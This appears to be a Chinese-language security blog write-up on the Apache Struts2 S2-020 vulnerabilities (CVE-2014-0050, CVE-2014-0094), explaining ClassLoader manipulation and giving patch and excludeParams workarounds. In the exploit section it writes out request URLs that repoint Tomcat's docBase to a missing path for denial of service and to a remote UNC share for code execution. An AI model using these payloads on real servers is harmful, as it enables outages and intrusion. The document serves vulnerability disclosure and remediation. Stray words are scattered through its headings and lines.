struts2 CVE-2014-0050(DoS), CVE-2014-0094(ClassLoader manipulation) S2-20 DoS attacks and ClassLoade

cataloghtml

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

1. Descriptionjava

0x1: 相關基礎知識web

Object是java的基礎類,全部的class生成的對象,都會繼承Object的全部屬性和方法,所以當前action不管是什麼代碼,必須有Object自帶的getClass方法,這個方法會返回一個Class對象,Class對象又必定會有getClassLoader方法,最終在每一個action均可以數據庫

getClass().getClassLoader()
//拿到當前的ClassLoader 

在JRE啓動中,每一個Class都會有本身的ClassLoader。web容器爲了方便的管理啓動過程,一般都有實現自定義的ClassLoader,事實上每一個容器的ClassLoader都是本身實現的,環境必然會有所不一樣apache

0x2: 漏洞根源tomcat

Apache Struts 2.0.0-2.3.16版本的默認上傳機制是基於Commons FileUpload 1.3版本,其附加的ParametersInterceptor容許訪問'class' 參數(該參數直接映射到getClass()方法),從而致使了攻擊者能夠控制ClassLoader,並修改ClassLoader中的屬性,而根據修改ClassLoader屬性的不一樣,能夠衍生出不一樣的攻擊向量session

0x3: ClassLoaderapp

一個Java程序以後,不是管是CS仍是BS應用,都是由若干個.class文件組織而成的一個完整的Java應用程序,當程序在運行時,即會調用該程序的一個入口函數來調用系統的相關功能,而這些功能都被封裝在不一樣的class文件當中,因此常常要從這個class文件中要調用另一個class文件中的方法,若是另一個文件不存在的,則會引起系統異常。而程序在啓動的時候,並不會一次性加載程序所要用的全部class文件,而是根據程序的須要,經過Java的類加載機制(ClassLoader)來動態加載某個class文件到內存當中的,從而只有class文件被載入到了內存以後,才能被其它class所引用。因此ClassLoader就是用來動態加載class文件到內存當中用的webapp

0x4: Java默認提供的三個ClassLoader jsp

1. BootStrap ClassLoader: 啓動類加載器
是Java類加載層次中最頂層的類加載器,負責加載JDK中的核心類庫,如:rt.jar、resources.jar、charsets.jar等,可經過以下程序得到該類加載器從哪些地方加載了相關的jar或class文件/* 
URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs();  
for (int i = 0; i < urls.length; i++) 
{  
    System.out.println(urls[i].toExternalForm());  
}  
*/
上述結果也是經過查找sun.boot.class.path這個系統屬性所得知的
/*
System.out.println(System.getProperty("sun.boot.class.path"));
*/

2. Extension ClassLoader: 擴展類加載器
負責加載Java的擴展類庫,默認加載JAVA_HOME/jre/lib/ext/目下的全部jar

3. App ClassLoader: 系統類加載器
負責加載應用程序classpath目錄下的全部jar和class文件

除了Java默認提供的三個ClassLoader以外,用戶還能夠根據須要定義自已的ClassLoader,而這些自定義的ClassLoader都必須繼承自java.lang.ClassLoader類,也包括Java提供的另外二個ClassLoader(Extension ClassLoader和App ClassLoader)在內,可是Bootstrap ClassLoader不繼承自ClassLoader,由於它不是一個普通的Java類,底層由C++編寫,已嵌入到了JVM內核當中,當JVM啓動後,Bootstrap ClassLoader也隨着啓動,負責加載完核心類庫後,並構造Extension ClassLoader和App ClassLoader類加載器

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://www.inbreak.net/archives/526
http://blog.csdn.net/xyang81/article/details/7292380


2. Effected Scope

Struts 2.0.0 - Struts 2.3.16


3. Exploit Analysis

0x1: 利用class.classLoader.resources.dirContext.docBase賦值形成的DoS

1. docBase這個參數是Tomcat進行應用目錄映射路徑配置的
2. 若是賦值的地址不存在會致使Tomcat總體解析失敗
3. 經過修改污染ClassLoader,能夠在當前應用進程(tomcat java進程)生命週期期間,持續使對docBase屬性的修改生效,從而達到DOS目的

經過OGNLN解析,給當前應用目錄賦個不存在的地址

http://localhost:8080/S2-XX/index.jsp
http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路徑

0x2: 遠程代碼執行

仍是這個參數,既然能夠指向任意地址,若是指向的地址映射目錄,是攻擊者可控的目錄,那就是遠程代碼執行了,相似於PHP CMS漏洞中常見的本地變量覆蓋致使global config劫持,將用戶的網站的配置參數劫持到黑客控制的數據庫中,從而繞過登陸驗證邏輯
docBase參數有三種地址路徑部署方式

1. 相對路徑:以Tomcat的webapps目錄根更目錄
2. 絕對路徑:如: c://web/部署的應用目錄 
3. UNC path(如,遠程共享一個標準的J2EE應用目錄) 

這裏的UNC方式,和PHP CMS中的allow_url_include、allow_url_fopen本質是同樣的

http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test 

Relevant Link:

http://wiki.apache.org/tomcat/FAQ/Windows#Q6
http://drops.wooyun.org/papers/1377


4. Principle Of Vulnerability
5. Patch Fix

0x1: upgrade struts2

If you cannot upgrade to version 2.3.16.1 which is strongly advised,
In Struts 2.3.16.1, Commons FileUpload was updated to version 1.3.1 and "class" was added to excludeParams in struts-default.xml configuration of ParametersInterceptor.

0x2: Workaround: Upgrade commons-fileupload

The fixed commons-fileupload library is a drop-in replacement for the vulnerable version. Deployed applications can be hardened by replacing the commons-fileupload jar file in WEB-INF/lib with the updated jar. For Maven
based Struts 2 projects, the following dependency needs to be added:
單獨替換commons-fileupload並重啓struts2應用實現修復

<dependency>
    <groupId>commons-fileupload</groupId>
    <artifactId>commons-fileupload</artifactId>
    <version>1.3.1</version>
</dependency>

0x3: Workaround: Exclude 'class' parameter

Simple add '^class\.*' to the list of excludeParams as below
struts2的漏洞基本和OGNL、Actoin的參數解析過程有關,所以在struts.xml中配置參數攔截器,能夠有效攔截攻擊

<interceptor-ref name="params">
  <param name="excludeParams">^class\..*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
</interceptor-ref>

Relevant Link:

http://struts.apache.org/docs/s2-020.html?spm=5176.775974950.2.9.ie55ik

 

Copyright (c) 2015 Little5ann All rights reserved

相關文章
相關標籤/搜索